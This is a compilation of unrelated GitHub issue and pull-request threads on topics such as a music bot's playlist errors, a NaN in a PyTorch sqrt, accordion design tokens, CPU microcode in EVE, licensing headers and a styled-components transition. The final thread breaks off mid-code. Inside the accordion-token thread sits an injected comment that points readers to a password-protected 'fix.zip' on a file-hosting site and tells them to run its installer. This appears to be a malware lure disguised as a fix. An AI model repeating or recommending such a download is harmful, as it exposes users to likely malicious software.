[Bug Report] YouTube playlist still dont work

Bug Description
Its giving me an error when i want to play any puplic Playlists. I downloaded the newest Version 0.3.8 but its still not working
Steps to Reproduce
Plaing Playlists from youtube
Expected Result
That its playing music for me
Debug Output
Idk
Additional Info
No response
Checklist

[X] I have looked for information about this within the documentation
[X] I have searched for similar issues on the issues page
[X] I am running the latest version of the bot:

ive just updated and tested the bot. works perfectly for playlists. remember in the playlist.txt file to add the youtube links, (ie. https://www.youtube.com/watch?v=dQw4w9WgXcQ ) without any extra and 1 per line

you create the file. so in your config.txt file, there is a section which says:
// This sets an alternative folder to be used as the Playlists folder
// This can be a relative or absolute path
playlistsfolder = "Playlists"

create a folder called Playlists(or rename to whatever youve named in the config.txt) <--- create playlist subfolder where .jar file is.
inside the folder create a file called playlist1.txt
edit playlist1.txt and put youtube links in there and save
with bot, just do command: !play playlist1
done

And how can i play playlist from youtube itself? An week ago there was no
problem but now it say an error "error loading track"
How can i play those again?
purnell569 @.***> schrieb am Do., 7. Apr. 2022, 15:24:

you create the file. so in your config.txt file, there is a section which
says:
// This sets an alternative folder to be used as the Playlists folder
// This can be a relative or absolute path
playlistsfolder = "Playlists"

create a folder called Playlists(or rename to whatever youve named
in the config.txt) <--- create playlist subfolder where .jar file is.
inside the folder create a file called playlist1.txt
edit playlist1.txt and put youtube links in there and save
with bot, just do command: !play playlist1
done

—
Reply to this email directly, view it on GitHub
https://github.com/jagrosh/MusicBot/issues/1150#issuecomment-1091733477,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AWRMFS3KZS5YRJFXWRFXB3LVD3OYDANCNFSM5SZGPISA
.
You are receiving this because you authored the thread.Message ID:
@.***>

I'm going to assume that you were trying to play a mix playlist. Issues with YouTube mixes are already tracked under #1147.


hello, i'm read your paper recently , it's brilliant.But i met some problems when running the code.

sorry to bother you ,but I  got some problems while running the code.Have you ever meet problems like this:
RuntimeError :  Function  'SqrtBackward'  returned nan values in its 0th output.

@LiaoMingZhe
It may input a number less or equal than 0 to the sqrt() function.
Could you give me the position caused this error?

sys:1: RuntimeWarning: Traceback of forward call that caused the error:
File "/home/rfnet_project/rfnet-master/train.py", line 424, in
train()
File "/home/rfnet_project/rfnet-master/train.py", line 320, in train
else model.criterion(endpoint)
File "/home/rfnet_project/rfnet-master/model/rf_net_module.py", line 152, in criterion
im2_hardloss = self.des.loss(im2_lpdes, im2_rpdes, im2_limc, im2_rimcw)
File "/home/rfnet_project/rfnet-master/model/rf_des.py", line 68, in loss
dist_matrix = distance_matrix_vector(anchor, positive)
File "/home/rfnet_project/rfnet-master/utils/math_utils.py", line 18, in distance_matrix_vector
FeatSimi_Mat = torch.sqrt(FeatSimi_Mat)  # euc [0, 2]
FeatSimi_Mat = FeatSimi_Mat.clamp(min=eps, max=4.0) make sure the number is between 1e-8 and 4
------------------ 原始邮件 ------------------
发件人: "Xuelun<EMAIL_ADDRESS>发送时间: 2019年8月14日(星期三) 下午2:52
收件人<EMAIL_ADDRESS>抄送<EMAIL_ADDRESS><EMAIL_ADDRESS>主题: Re: [Xylon-Sean/rfnet] hello, i'm read your paper recently , it'sbrilliant.But i met some problems when running the code. (#4)
@LiaoMingZhe
It may input a number less or equal than 0 to the sqrt() function.
Could you give me the position caused this error?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.


Live data bucket size 10s, but poll 30-60s

The liveStats/periodic data is scheduled */30s, but the bucket size retrieved is a 10s slice. An addition of all retrieved data points for a 24h period of liveStats/periodic data is significantly less than the single daily data points.
Possible solutions:

increase poll interval at the risk of exceeding the API rate limit
use liveStats/total, displaying graph as a derivative (ignoring negative when the counter resets)

So actually that periodic data that is pulled contains 5 minutes time series in 10s buckets, so the 10s buckets were correct; but pulling the periodic data was problematic for other reasons.  I have since switched to totals at a 30s interval and use derivative to determine the rate.  Please have a look at https://github.com/crittermartin/crittercism-graphite/commit/51f779c68e51ba9a85c1ed10e243fea4e3b002c1 and let me know if this addresses the issue...

I contacted the Crittercism Support team and discussed what I was seeing with them (seeking documentation). Adding the argument 'initialize=1' to the liveStats/periodic call and reducing the poll schedule to 1, or 2 minutes guarantees all 10s data points exist, and allows up to two consecutive failures before data fails to be retrieved.
I found the liveStats/totals figures to be bursty, requiring additional summarisation or smoothing to even out. Apologies for not following up on this issue sooner.


feat(Accordion): use the new semantic colors for focus style

Resolves: #426
Updated the Accordion to use the correct semantic tokens for focus style.

I see focus-visible is used to target styling when the user is using tab-navigation. We want this styling to also show up on regular focus, like the Button component.


[Snyk] Upgrade @types/gulp from 4.0.7 to 4.0.8

Snyk has created this PR to upgrade @types/gulp from 4.0.7 to 4.0.8.
:information_source: Keep your dependencies up-to-date. This makes it easier to fix existing vulnerabilities and to more quickly identify and fix newly disclosed vulnerabilities when they affect your project.

The recommended version is 1 version ahead of your current version.
The recommended version was released 22 days ago, on 2021-01-08.

Release notes

Package name: @types/gulp

4.0.8 - 2021-01-08

4.0.7 - 2020-09-29

    from @types/gulp GitHub release notes

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open upgrade PRs.
For more information:
🧐 View latest project report
🛠 Adjust upgrade PR settings
🔕 Ignore this dependency or unsubscribe from future upgrade PRs

Updated manually


Add Contributing.md

Solves #31.
Signed-off-by: Aviral Verma<EMAIL_ADDRESS>

Thanks! We should use the DCO IMHO here. (certificate of origin) .... I will add this.
In the meantime I would need a signoff

@pombredanne All the commits have a sign-off.

Hi @avirlrma , @pombredanne, what's status of this PR?  Would either of you mind if I took a shot at resolving the requested changes and pushing it through?

@SKalt re:

what's status of this PR? Would either of you mindwon if I took a shot at resolving the requested changes and pushing it through?

that would be great! Other wise I cannot merge this as is.

Closing in favor of #93


Nissanleaf

Description:
Follow-up to pull request https://github.com/home-assistant/home-assistant/pull/19786 for Nissan Leaf integration to try to fix issues identified by @MartinHjelmare.
Improvements remaining to be made (at least!):

how to implement start charging.  Switch (status quo), scene + sensor, or service + sensor.
icons
time.sleep(x)  - is this OK?

**Pull request for home-assistant.io with documentation has already been merged: https://github.com/home-assistant/home-assistant.io/pull/8073
Example entry for configuration.yaml:
nissan_leaf:
  username: "username"
  password: "password"
  region: 'NE'     # Indicates Europe, must be changed for other regions
  nissan_connect: true  # Set to false for early Leafs 24kWh that don't report location
  update_interval:
    hours: 1
  update_interval_charging:
    minutes: 15
  update_interval_climate:
    minutes: 5
  force_miles: true

New service exposed:
- service: nissan_leaf.update
  data:
    vin: XXXXXXXXXX

Checklist:

[x] The code change is tested and works locally.
[ ] Local tests pass with tox. Your PR cannot be merged unless tests pass
[ ] There is no commented out code in this PR.

If user exposed functionality or configuration variables are added/changed:

[x] Documentation added/updated in home-assistant.io

If the code communicates with devices, web services, or third-party tools:

[x] New dependencies have been added to the REQUIREMENTS variable ([example][ex-requir]).
[x] New dependencies are only imported inside functions that use them ([example][ex-import]).
[x] New or updated dependencies have been added to requirements_all.txt by running script/gen_requirements_all.py.
[x] New files were added to .coveragerc.

If the code does not interact with devices:

[ ] Tests have been added to verify that the new code works.

Please rebase the branch on latest dev, so only the new commits after the last PR was merged are in this branch.

For charging I think a custom service in the component + a sensor entity that exposes charging status sounds good.

Please link a docs PR with the update for the new service.

Here's the PR for the updated docs  that include the new service, https://github.com/home-assistant/home-assistant.io/pull/8630

Thanks for this great new component! I'm testing it now with my Nissan Leaf 2018 TEKNA. Everything seems to work fine and fast! I'm confident that this works much better than the Nissan app, as I've been using the other non-official component as well. 👍

Please link a docs PR with the update for the new service.

@MartinHjelmare apologies for the delay - I've linked the new docs PR to this PR.

Slight correction in the docs: 2015s have CarWings too. The cut-off was the 16 plate 24kwh and the 65 plate 30kwh I believe.
The easiest way to identify is that Nissan Connect's T&C buttons are orange and blue, CarWings they're both blue. Or just look for anything saying "CarWings" in Settings.

Please open an issue in or make a PR to the docs repo.


Missing LICENSE file

The project is missing a LICENSE file. Per RISC-V policy, documentation should be licensed CC-BY-4.0.
I propose adding a plain text LICENSE file like the one in the ISA manual project. This enables GitHub to automatically find it and recognize it.
I'm happy to add this into the project directly and will do so in the coming days. If anyone has concerns, please raise them.
Thanks,
-Jeff

Committed directly to master.  Closing.


Description
Open issues:
Design:

[x]  Integrated new typography
[ ]  Spacing is defined
[ ] Documentation final

Tokens proposal:

accordion-padding-block
accordion-padding-inline
accordion-border-bottom (for the accordion component)
accordion-item-border-top (for the accordion item components)
accordion-title-font-X
accordion-color-fg

Not part of the component:

background (needs to be transparent for the footer and other applications)

Design
https://www.figma.com/design/JIT5AdGYqv6bDRpfBPV8XR/Foundations-%26-Components-Next-Level?node-id=17-159
Tasks
### 💻 Tasks
- [x] Review Design (All states present? Possible to implement?)
- [ ] Define tokens for the accordion
- [ ] Upgrade existing component with tokenised styles
- [ ] Documentation in Storybook
- [ ] Unit tests
- [ ] End to end tests
- [ ] Visual regression tests
- [ ] Design review

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@Vandapanda created a token proposal right in the description of the ticket

@gfellerph there is some stuff missing here my proposal according to how you named stuff above
accordion-header-padding-block-start/end
accordion-header-padding-inline
accordion-header-content-gap-inline
accordion-header-logo-size
accordion-border-bottom-style/color (enabled/hover)/width
accordion-group-border-top-style/color(enabled/hover)/width
accordion-content-padding-block-start
accordion-content-padding-block-end
accordion-content-padding-inline
accordion-header-font-size
accordion-header-enabled/hover-fg
accordion-focus-outline-color/offset/width/radius
Not sure if needed:
accordion-header-logo-padding-block/inline
accordion-header-logo-gap-inline
accordion-header-icon-size
Also there might be a specification for open or closed.
Header can be changed to title as used aboth
content might be changed to item as wrote above

@Vandapanda I think the proposal is good, the logo size and gap between title are needed. As it will be an image, it does not need any inline gap or padding itself. Wondering if an icon would need to take the line-height as height, I don't see any design for this. We can leave that away for the moment.

Tokenized except for Focus state as this has to be further defined in the pattern discussion

@sandra-post Ready for design review :)
Here is the link to the preview page: https://preview-3858--swisspost-design-system-next.netlify.app/?path=/docs/4d1b4185-e04d-494a-ab38-2b56c1778b0b--docs


"it's" should be "its"

https://github.com/woltapp/arrow-detekt-rules/blob/208e7cc698a95215ce73e26176a5b69e5fa59bfe/src/main/kotlin/com/wolt/arrow/detekt/rules/NoEffectScopeBindableValueAsStatement.kt#L31
"it's" is a contraction of "it is" or "it has", while "its" is the possessive form of "it"
Sorry to be pedantic, it just sort of a bugged me, but seemed too small for a full PR.

Damn, sorry for leaving it open for a while. Thanks for opening the issue! Fixed in release 0.4.0


Data from POST  api

I am fetching json data from an API which supports only POST. How can I achieve this?

It is not supported yet.


embed cpu microcode updates

We can see problems running VMs with intel microcode embedded (it is clone of Ubuntu 18.04.6 from the bare-metal installation) because of no possibility to update it from inside of VM.
If cpu microcode from inside of BIOS is outdated and have known (possible) vulnerabilities, kernel of VM tries to update it if there are needed blobs inside /lib/firmware/intel-ucode (i.e. installed with intel-microcode package in Ubuntu) integrated into initramfs. And it stuck for our trial: stuck-ucode.txt
Removing of intel-microcode or adding dis_ucode_ldr to the kernel options of VM helps to solve the problem. But in general we should use the latest microcode to mitigate possible vulnerabilities.
Seems we should use up-to-date microcode from host-side (EVE), so, I put intel and amd ucode initrd into /boot inside of fw package (which expand size by 5MB) and remove rpi and tegra blobs from fw for amd64 (to reduce size by 17MB).
Also I add knobs to grub to use ucode on boot set_intel_ucode_boot and set_amd_ucode_boot (it may affect booting process in some cases, so, seems, it is better to have it disabled by default).

Ok, this is quite a change to EVE boot architecture @giggsoff -- first of all we will need WAY more justification than a simple "We can see problems running VMs with intel microcode embedded because of no possibility to update it from inside of VM."

I put additional information into description of PR.

I put additional information into description of PR.

thanks @giggsoff -- that's very helpful. Still, I don't understand why those microcode blobs need to come from initrd as opposed from a root fs

I put additional information into description of PR.

thanks @giggsoff -- that's very helpful. Still, I don't understand why those microcode blobs need to come from initrd as opposed from a root fs

They should be integrated as initrd and booted at earlier stages of EVE (it is recommended and in this case we can control to boot them or not, I select this option) or compiled into kernel of EVE.

Seems we should use up-to-date microcode from host-side (EVE), so, I put intel and amd ucode initrd into /boot inside of fw package

How does this help for a guest VM (which is where you say there is an issue)? Is it that we need to load in the latest CPU microcode once to make sure that both EVE-OS and guest VMs use that microcode? Or do we also need to do something for the guest VMs?

Seems we should use up-to-date microcode from host-side (EVE), so, I put intel and amd ucode initrd into /boot inside of fw package

How does this help for a guest VM (which is where you say there is an issue)? Is it that we need to load in the latest CPU microcode once to make sure that both EVE-OS and guest VMs use that microcode? Or do we also need to do something for the guest VMs?

In case of updated microcode load in CPU by kernel of EVE-OS, its (microcode) version also visible by guest kernel. And guest will not try to update microcode during kernel boot. So, it is nothing to do from inside of VM.

CONFIG_EXTRA_FIRMWARE

Can you please send a draft PR @giggsoff ?

CONFIG_EXTRA_FIRMWARE

Can you please send a draft PR @giggsoff ?

It will be something like that https://github.com/itmo-eve/eve/commit/516b60f4ffd616ac3030bb5ae2cfafceef439860

This seems preferred -- but I'd rather statically check firmware blobs into pkg/kernel

Do you mean to download and store blobs in a folder inside pkg/kernel?

Yup. But please add a blurb into the pkg/kernel/README as to where they came from

New version is in #2482


Fix link titles

The 'Element' section's link titles all read 'Images'. Updated to reflect actual titles.

There is a template that is included in the generation of this page - which is where the change needs to happen so this doesn't get blown away. I applied the patch to the template and rerendered. Thanks for catching this.


WIP: Add support for reference types on meta::any

Hello @skypjack, this is a possible implementation for #2. This is very WIP and breaks a lot of things.

[x] Fix broken existing tests (some are now broken, haven't looked deep into why yet)
[ ] Implement casting from T& to const T&
[x] Implement conversion from T& and const T& to T
[ ] Implement more tests
[ ] How to handle functions that return a reference, should it default to a meta::any holding a reference?
[ ] Remove duplicated code

I think renaming remove_pointer into remove_attributes or base_type internally would be good. Since now it also removes &. Could also be used to remove const and volatile attributes.

I have fixed all tests, but I had to change some of them. Now the library is taking into account the const-ness of arguments and whether it is a reference or not.
Sadly, that is probably a breaking change for existing code :(

Pull Request Test Coverage Report for Build 40

82 of 92 (89.13%)  changed or added relevant lines in 2 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-1.3%) to 98.728%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/meta/factory.hpp
12
16
75.0%

src/meta/meta.hpp
70
76
92.11%

Totals

Change from base Build 37:
-1.3%

Covered Lines:
776

Relevant Lines:
786

💛  - Coveralls

I'm closing this because it's irremediably in conflict with master. I'm interested in the proposed changes, but the PR cannot be accepted as it stands unfortunately.


Add .gitignore

The .gitignore file was missing from master so I copied it over to the godot4 branch.

Good catch!  Thank you!


Comic modified when not in the selection list

From xylamic on May 01, 2013 04:28:18
What steps will reproduce the problem? 1. Added a comic file to the list (via Open)
2. Added a second comic file to the list (via Open)
3. Removed the first file
4. Clicked Save
5. The first comic was shown as modified even though it was not in the list. What is the expected output? What do you see instead? The first comic should have been unmodified. What version of the product are you using? On what operating system? Latest. Win7 x64 Please provide any additional information below.
Original issue: http://code.google.com/p/comictagger/issues/detail?id=16

From<EMAIL_ADDRESS>on May 01, 2013 11:48:29
Good catch.  More specifically, the problem occurs when removing the first item in the list.  It's not refreshing, I guess, since the list item index isn't changing.  Should be easy to fix once I look into it more.
Status: Accepted

From<EMAIL_ADDRESS>on May 08, 2013 20:17:44
This should be fixed in 1.1.9-beta.  Let me know.

From<EMAIL_ADDRESS>on May 08, 2013 20:21:46
Status: Fixed


Binarization of Layer Inputs

Hi,
I could not see where the activations are binarized in the code. I am looking into code under Train-time directory. Can anyone point me to the code where layer input binarization is happening? Thanks

For intermediate layers (i.e. any layer whose input is produced by a previous convolution/FC layer) the sign function activation of the previous layer would ensure that the data is binarized, but I believe that the very first layer's input (raw image data) is not actually binarized.
Also with regards to the intermediate layer inputs, note that using padding in the convolutional layers can break the binararized input assumption (i.e. the previous layer would produce -1 +1 data only, but the padded version of this would have -1 0 +1 pixels). This could be avoided using the "valid" padding mode, but that may result in lower accuracy since it throws away the edge pixels.

I see. The binary_sigmoid, binary_tanh, and hard_sigmoid doing that job. Thanks for pointing that out. I think extending the boundary pixels into padding area will keep the input to CONV layer to be +1/-1.


Change list to tuple, add limiting for max threads

Hello Anton, in this PR:

Change response to tuple instead of list:

Doing this allows for faster read of the object as tuples are faster than lists

Add limiting for max threads that can be used by the app;
Add usage of uvicorn with --no-access-log option;
Remove uvicorn backlog number of connections;

You can adjust this
limitter.total_tokens = 1000

to a lower or higher number depending on the machine you use.

You are absolutely correct. I am just not quite good with explanations. My commits are geared towards the first test - the get endpoint.
The idea here is not to have it lowered - it is the opposite. By default we have only 40 threads to operate with. Also in the code currently the first endpoint is defined as def get_devices which tells fastapi to run it in a separate thread pool.
So if we have 100 requests you can see that some requests will wait for a thread to open so it can be consumed.

Thanks @antonpetrov145 for the PR, we have a conflict. So what should we do here? @techUdayMungalpara

ok nice, i guess this can be closed then


[Discussion] [Ideas] Story definition API

Hello! We love Storybooks at Wealthsimple and use it regularly as part of our React Native development. I'm excited for opportunities to contribute and thought I'd share our workflow for discussion and to see if there's interest in my efforts in any area.
There's a few things we've enjoyed doing:

writing our stories alongside our components
providing a more declarative way of defining stories
diffing snapshots off of a base component story

An example:
import React from 'react';
import Button from './index';

module.exports = {
  storyGroup: 'Button',
  layout: {
    type: 'PageView',
    props: { title: 'My Navbar' }
  },
  stories: {
    default: () => (
      <Button text={'Tap Me'} onTap={() => {}} />
    ),
    slim: () => (
      <Button text={'Tap Me'} slim onTap={() => {}} />
    ),
    shareIcon: () => (
      <Button icon={'share'} text={'Share my link'}onTap={() => {}} />
    ),
};

The object format maps to current API methods:

storyGroup => storiesOf(storyGroup)
layout => addDecorator(() => {})
stories[story variant] => add('story variant', () => {})

Where the default variant exists, we're using diff-react to only commit the snapshot diff between the default and the variant.
As far as organizing stories goes, we still explicitly define all our requires and wrap each with the module that makes the object definition possible. I've seen the separate add-on for generating those requires but feel like a glob syntax for the storybook start cli may be useful as well.
I'm not looking to add to your issue queue, just seeking guidance on areas worth pursuing before I start on a PR, so hopefully we can close this soon 😬
I'm excited for some of the upcoming changes focused on React Native (like the in-simulator UI in the 3.2 alpha)! Thanks for all of your efforts 🎉

@sterlingwes Nice!! We're excited to learn from your workflow. Are you proposing a single PR, or a handful of PR's for:

glob syntax for storybook start
use of diff-react for improving storyshots
built-in support for a more declarative form of story definition?

Happy to provide feedback here, or if you're up for it our slack is a great place to get more realtime feedback: https://now-examples-slackin-nqnzoygycp.now.sh/

Oh nice, I'll join in on Slack 👍
Yes was looking to split up the work for sure. Your first two suggestions I think I could tackle quickly. I might tread more carefully on the third being a fairly big API change. Thanks for the feedback!


Configurable Configs

This PR makes the config parser configurable. This way people can extend it with new protocols. For example, one may add an "Intra" wrapper, or a "V2Ray" wrapper, or a "Psiphon" wrapper that is configured with a separate file. Here is a hypothetical example:
go run myproxy -transport 'smart|ss://$SECRET@$HOST:$PORT' -smart_config 'config.json'

This will help @amircybersec, who wanted to add v2ray to his app and still reuse our config.

Any thoughts?

This is super cool! so basically to define a new wrapper (for example vless), I need to do something like this in my code:
configParser := config.NewDefaultConfigParser()
configParser.RegisterStreamDialerWrapper("vless", wrapStreamDialerWithVLESS)

and implement wrapStreamDialerWithVLESS.
I think there are other places in the SDK where config is used and it needs to get updated. I will double check and add them to the PR.
I can also update doc.go to show some examples for this.

@fortuna I added a section at the end of the doc file on creating a custom config. Everything else looks good to me.

@jyyi1 I added your example, but this is a feature in the sense of new functionality, not a refactor.


[DNS] More descriptive page on DNS records quick scan

PCX-7192

في الأربعاء، ١٩ يوليو ٢٠٢٣ ١١:٥٠ ص Rebecca Tamachiro <
@.***> كتب:

Merged #9803 https://github.com/cloudflare/cloudflare-docs/pull/9803
into production.
—
Reply to this email directly, view it on GitHub
https://github.com/cloudflare/cloudflare-docs/pull/9803#event-9859772566,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AWV6NCX4IE4DWWCRV7VXVU3XQ6NWPANCNFSM6AAAAAA2FZ7JDA
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***
com>


Add showcase: ICHUB

Thank you for your contribution to the IC Developer Portal.
Before submitting your Pull Request, please make sure that:

[x] You have updated the .github/CODEOWNERS file according to your changes.
[x] You have registered new documents to /sidebars.js if any.

I, pk34, hereby agree to the DFINITY Foundation's CLA.

I, pk34, hereby agree to the DFINITY Foundation's CLA.

@pk34 please reply to the issue that has been created by the bot, not this thread. thanks

I realized it was on that thread and already replied there, thank you!


order by or sort?

I found query.skip() and query.limit() methods, but is there any way to sort the results?
let's say I have a blog and I want to show the 10 most recent posts matching some tags. should I recover all posts and sort them? this would not defeat the purpose of skip and limit (at least for pagination)?
any suggestion?

I've been thinking about this for a bit, and haven't found a performant way to handle this without having to read the entire dataset.
The data is naturally sorted by the Key value, so the best performing way to handle what you want is to use the post's date as your key value.  Make sure to use a lexigraphically sortable date format like for your date / key like RFC3339, that way everything that you pull out, whether limited or skipped, is automatically in the right order.

I've added a separate issue to track adding this as an enhancement.

what if there was a way to query by the indexes?
in the docs we see:
type Person struct {
	Name string
	Division string `boltholdIndex:"Division"`
}

what if we could do something like:
store.findByIndex("Division", bolthold.Where.....)
this way, we could create artificial fields and index them according to the queries we plan to do.
I've found a project similar to Bolthold named Storm (https://github.com/asdine/storm) that uses this approach, like db.AllByIndex("CreatedAt", &users), but which does not have the Aggregate Queries, sub-queries, MatchFunc, or insert/update/upsert ready to use.
Bolthold seems a more complete solution, but I really miss the sorting/order by

Right now, if the field put in the Where function is indexed, it'll use that index.  I wanted to make index selection implied because eventually I planned on having a fairly simple query optimizer that chose the best starting index based on it's uniqueness (i.e. will do the least number of reads).

Closed by https://github.com/timshannon/bolthold/pull/27


Document dependency injection

Explain:

[ ] The standard and the Assisted Inject patterns
[x]  Definition of interface implementations + system parameters in the property files
[ ] The notions of module and post-module

See https://ontop-vkg.org/dev/internals/guice.html


icdar 2015 dataset support

@Wang-Tianwei
Thank you for your hard work
Will there be support to input icdar2015 dataset for training

Thank you for your interest in our work.
I have no plans to adapt to a certain form of dataset.
For the support of icdar2015 dataset, you can refer to this repo: https://github.com/jiangxiluning/FOTS.PyTorch/tree/master/FOTS/data_loader/dataset.py


Linux executable is missing permissions... can not use slang on Linux

Chmod issue?

I think it's completely normal.
unless we distribute/install it somehow.
suggest to close

i solved it in the end with zipping in on a linux machine...
on future release we might be better by releasing 2 artifacts , 1 zip for win and 1 tar for linux

@meirwah
Be aware that when you creating jar file that you should enable the compress option. By default jar file is only wrapping a multiple files without compression.


Suggestion: Show some ordering options in the lists of files from external datasources

In Dropbox and GDrive datasource options, if you have hundreds of files, it gets a bit messy to find your file.
Not sure which are the options of the APIs that we're using, but could we add some option like "order by creation date"?
Right now you can just scroll and/or do Ctrl+F:

There has been no activity on this issue for more several months. We are closing it. If you think this still needs to be addressed please open a new issue.


about the 3d_recon.gif

I find that there is an interesting result but it wasn't mentioned in the repo:
https://github.com/astra-vision/MonoScene/blob/master/teaser/3d_recon.gif
How did it get? Thanks so much~

Hi, it comes from another work of mine https://github.com/astra-vision/SceneRF
Sorry for this confusion.

It's useful to me, thanks again~!


stateful for restarts

Looks like it looses state after a restart..
We should look into a JSON or sqlite store ?

ok got it will look into encode


Ledger snapshot

Hi team,
Congratulations for Minifabric, really good job!!
Issue:
I have bootstrapped HLF network with version 2.3 and tried taking ledger snapshot inside peer container. I got an error
======================================================================================
2021-08-30 10:52:57.261 UTC [msp.identity] Sign -> DEBU 030 Sign: digest: D19EF270005436AF48AA63082454813AAB2A5C4A98BE30EC4F3256EE62AA8505
Error: failed to submit the request: rpc error: code = Unknown desc = failed verifying that the signed data identity satisfies local MSP principal during channelless check policy with policy [Admins]: [The identity is not an admin under this MSP [manufacturer-auto-com]: The identity does not contain OU [ADMIN], MSP: [manufacturer-auto-com]]
I had a look on certificate's subject where OU was Fabric, but for taking ledger snapshot OU must be equal to admin [OU=admin].
I request to try the same and try to get some solution for this. I possible add a snapshot function in minifab script.

@alurujawahar not really sure how you did that when you get the error, a bit more detailed process that you used to do this will probably help to figure out what went wrong.

Thanks for your response @litong01 . Actually the thing is, since version 2.3 of Hyperledger Fabric is having an option of Ledger Snapshot, I wanted to try that out using Minifabric. But, it was failing with above error. Please let me know if there any way for taking the snapshot using minifab.


Supporting iOS 8 with swift 3.0

I have a project in swift 2.3 which used this library. It supports from iOS 8 and above.
Now I'm migrating the code to swift 3.0, but this library doesn't have swift 3.0 support for iOS 8.
How can use this library with swift3.0 support for iOS 8?

Should be fixed in version 1.1.1 , just a quick fix in the Podspec.
Let me know if you have any problems.
Thanks! :)

I was not able to install the latest version 1.1.1.
So I did pod search Presentr. I can't find the version 1.1.1 in that. Please find the attached image

That's weird!
Maybe it took a while to get updated.
On the cocoapods website it lists it as 1.1.1
http://cocoapods.org/pods/Presentr

There it is! 👍


Inconsistent licensing?

Some classes (e.g. fflib_SObjectSelector.cls) have permissive licensing...
/**
 * Copyright (c), FinancialForce.com, inc
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 *   are permitted provided that the following conditions are met:
 *
 * - Redistributions of source code must retain the above copyright notice,
 *      this list of conditions and the following disclaimer.
 * - Redistributions in binary form must reproduce the above copyright notice,
 *      this list of conditions and the following disclaimer in the documentation
 *      and/or other materials provided with the distribution.
 * - Neither the name of the FinancialForce.com, inc nor the names of its contributors
 *      may be used to endorse or promote products derived from this software without
 *      specific prior written permission.
  IN NO EVENT SHALL
 *  THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 *  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 *  OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
 *  OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 *  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
**/

...whereas some others (e.g. fflib_ISObjectDomain) don't...
/*
* FinancialForce.com, inc. claims copyright in this software, its screen
* display designs and supporting documentation. FinancialForce and
* FinancialForce.com are trademarks of FinancialForce.com, inc. Any
* unauthorized use, copying or sale of the above may constitute an
* infringement of copyright and may result in criminal or other legal
* proceedings.
*
* Copyright (c) 2013 FinancialForce.com, inc. All rights reserved.
*/

While some of you may not care much about this, but my in-house counsel could cringe at the licensing uncertainty and would strongly advise not to come near this code, which would be a shame...
What can we do to homogenize the license of this code?

By the way, if it's a matter of copying and pasting the 2014 copyright notice everywhere, I volunteer. 😄

@catalandres yes this seems an easy fix to me. I am sure @agarciaffdc would be happy to review a PR to align things properly.

Yes @catalandres go for it. Easy to review and merge.

@afawcett PR up

Can be closed since the PR #261 is merged.
@ImJohnMDaniel @afawcett


Azure roles Contributor permissions

Within the Azure roles list, the Contributor has the permission listed to "Create a new tenant in Azure Active Directory".
From my understanding this listing is incorrect.
https://learn.microsoft.com/en-us/azure/active-directory/fundamentals/active-directory-access-create-new-tenant
This page mentions you'll need a "Tenant creator" role in AD.

https://learn.microsoft.com/en-us/azure/role-based-access-control/rbac-and-directory-admin-roles

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 11cda2e8-81c4-ab6a-371e-73506948488f
Version Independent ID: f18c9bf9-a0e7-ea07-144b-c2c7cedc8b6b
Content: Azure roles, Azure AD roles, and classic subscription administrator roles
Content Source: articles/role-based-access-control/rbac-and-directory-admin-roles.md
Service: role-based-access-control
GitHub Login: @rolyon
Microsoft Alias: rolyon

@BramStevensCegeka
Thanks for your feedback! We will investigate and update as appropriate.

@rolyon
Can you please check and add your comments on this doc update request as applicable.

@BramStevensCegeka
Thanks for bringing this to our attention.
I'm going to assign this to the document author so they can take a look at it accordingly

Hi @BramStevensCegeka
Thanks for noticing this. We've removed that bullet from the doc.
https://learn.microsoft.com/en-us/azure/role-based-access-control/rbac-and-directory-admin-roles
Let us know if you have any additional feedback.
thanks

#please-close


Feature/bridge client nested environment variables

This is partially based on #362
Please review/merge that PR first and focus on the last two commits only.
I do not feel 100% confident with this solution. More in general with the continuous support of environment variables for hierarchical options. Anyways I think using section <> dicts seem the best approach to handle more complex options like the private key. Therefore I hope this solution is good enough. Rather than only support the specific configuration sections, this should be a stable overall solution. Thereby also the logging can be configured via environment variables as well.

@schmir-at-bb we are on the same page. I've implemented it just to continue the support for the current functionality. Without the environment configuration would need always a mix with a TOML file. But at least after writing this PR, I vote for dropping the support and go for the TOML file as single source.
So as you stated I merge it to have a full functional master again and close #354. But I would love to see this stuff to become removed again at a later point.


Change style based on React state

Hi there,
Is it possible to change the css based on a React components state including a transition? Currently I have the code as shown below. The state is changed, and my <FooterElem /> did go to bottom -50px, but this is a "hard change". How can I let the transitions do it's job?
class Footer extends Component {
  constructor(props) {
    super(props);
    this.state = { showFooter: true };
  }

  componentDidMount() {
    window.addEventListener('resize', () => {
      this.setState({ showFooter: window.innerHeight > 400 });
    });
  }

  render() {
    const FooterElem = styled.footer`
      position: fixed;
      bottom: ${this.state.showFooter ? '0' : '-50px'};
      left: 0;
      width: 100%;
      transition: bottom .5s ease-in;
    `;

    return (
      <FooterElem></FooterElem>
    );
  }
}

I'm 99% sure that this is not a problem with styled-components but with CSS 😉
In general it's advised to only ever animate transform or opacity, as everything else has performance issues. (see here) So your code would become:
    const FooterElem = styled.footer`
      position: fixed;
      bottom: 0;
      left: 0;
      width: 100%;
      transform: translateY(${props.visible ? '0px' : '-50px'});
      transition: transform .5s ease-in;
    `;

class Footer extends Component {
  constructor(props) {
    super(props);
